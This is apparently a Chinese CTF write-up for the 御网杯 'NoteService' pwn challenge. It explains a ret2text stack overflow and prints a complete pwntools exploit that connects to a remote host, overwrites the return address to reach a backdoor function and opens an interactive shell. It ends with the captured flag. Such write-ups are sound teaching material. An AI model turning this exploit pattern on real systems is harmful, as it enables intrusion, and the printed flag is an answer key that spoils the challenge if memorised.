180 字
1 分钟
御网杯 PWN NoteService
题目附件截图:


题解记录:
这题直接走 ret2text,没有太多额外条件:
- 没有开启
canary - 没有额外判断逻辑卡利用链
- 直接覆盖返回地址跳后门即可
原始 WP 中给出的 exp:
from pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = "./vuln"host = "47.99.147.34" # 网址port = 10858 # 端口
elf = ELF(binary_path, checksec=False)context.binary = elf
if elf.bits == 64: context.arch = "amd64" gdbscript = """ b *main c """else: context.arch = "i386" gdbscript = """ b *main c """
context.log_level = "debug"
if args.REMOTE: io = remote(host, port)else: io = process(binary_path)
def p(): pause()
backdoor = 0x401196ret = 0x40101A
io.recv()offset = 0x40 + 0x8payload = flat([cyclic(offset), ret, backdoor])io.sendline(payload)
io.interactive()后续截图:



原始记录中的 flag:
flag{db35a83bde913ee94d6a7200849bb08a} 御网杯 PWN NoteService
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-noteservice/